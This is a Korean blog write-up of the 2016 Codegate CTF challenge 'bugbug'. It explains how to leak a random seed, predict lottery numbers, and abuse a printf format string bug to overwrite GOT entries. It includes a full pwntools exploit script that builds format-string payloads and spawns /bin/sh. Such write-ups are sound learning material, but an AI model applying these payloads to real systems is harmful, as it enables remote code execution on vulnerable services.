2016 Codegate bugbug writeup
by St1tch
문제에는 NX말고는 다른 보호기법은 딱히 안걸려있다.
문제 자체도 name입력, 서버상의 랜덤번호 6개를 맞추는 식으로 되어있다.
취약점은 서버의 랜덤번호 6개를 맞추면 이동하는곳에 있다.
보면 printf 함수를 호출하는데 name을 입력받은 버퍼의 주소를 그대로 인자로 넣어주고있다.
따라서 여기서 FSB취약점이 발생한다.
일단 FSB공격을 하기위해 서버의 랜덤번호를 맞추야 하는데 스택의 구조를 잘 살펴보면
name의 길이를 100으로 채우면 뒤에 4바이트에 seed값이 있기 때문에 seed값을 leak할 수 있다.
이러한 스택프레임 구조를 가진다.
먼저 seed값을 leak한 뒤, 그 값을 이용해 랜덤번호를 먼저 맞추고 난 뒤
fsb취약점을 이용해 libc의 주소를 leak하고, exit의 got를 main함수의 초반으로 돌린다.
그리고 leak한 libc주소를 이용해, offset계산을 통해 system함수의 주소를 구하고
printf_got값을 system 주소로 덮어 씌웠다.
그리고 exit_got값을 exit함수호출 이전의 printf함수로 돌려버리면 system(buf)가 실행되므로 쉽게 쉘을 딸 수있다.
seed값을 이용해 번호를 맞추는 건 python의 ctype모듈을 이용해도 되는데 나는 그냥 c로 간단하게 짠 뒤, 실행시키는 방법을 이용했다.
fsb문제를 거의 풀어본적이 없어서, 결과값을 계속 dump하여 비교하며 익스플로잇을 작성했다.
from pwn import *
import stitch
s = remote('10.211.55.37', 9998)
exit_got = 0x804a024
libc_start_main_got=0x804a02c
printf_got = 0x0804a010
exit_got = 0x804a024
#fsb payload1
#exitr_got -> main(0x0804883d)
#__libc_start_main addr leak
pay = 'ZZZZ'
pay += p32(exit_got) + p32(exit_got+2)
pay += p32(libc_start_main_got)
pay += stitch.fsb(18, [0x0804883d], 16)[0]
pay += '%20$sCCCC'
pay += 'A' * (100 - len(pay) -4) + 'W' * 4
#random seed leak
s.recvuntil('you?')
s.sendline(pay)
ret = s.recvuntil('answer')
seed = u32(ret.split('WWWW')[1][0:4])
print '[!]seed = ', hex(seed)
#find lotto number
p = process('lotto')
p.sendline(str(seed))
num1, num2 = p.recv().split('\n')[:2]
p.close()
#calculate system address
s.sendline(num1)
d = s.recvuntil('\n\n')
libc_start_main = u32(d.split('CCCC')[0][-24:-20])
tmp = stitch.find_libc({'__libc_start_main':hex(libc_start_main)[-3:]})
offset = libc_start_main - tmp[1]['__libc_start_main']
system = offset + tmp[1]['system']
#fsb payload2
#exit_got -> main_printf(0x08048960)
#printf_got -> system
pay = 'ZZZZ'
pay += p32(exit_got) + p32(exit_got+2)
pay += p32(printf_got) + p32(printf_got+2)
pay += stitch.fsb(19, [0x08048960, system], 20)[0]
pay += ';/bin/sh\x00'
#exploit
s.recvuntil('you?')
s.sendline(pay)
s.recvuntil('answer')
s.sendline(num2)
s.interactive()
성공적으로 쉘이 따졌다.
블로그의 정보
튜기's blogg(st1tch)
St1tch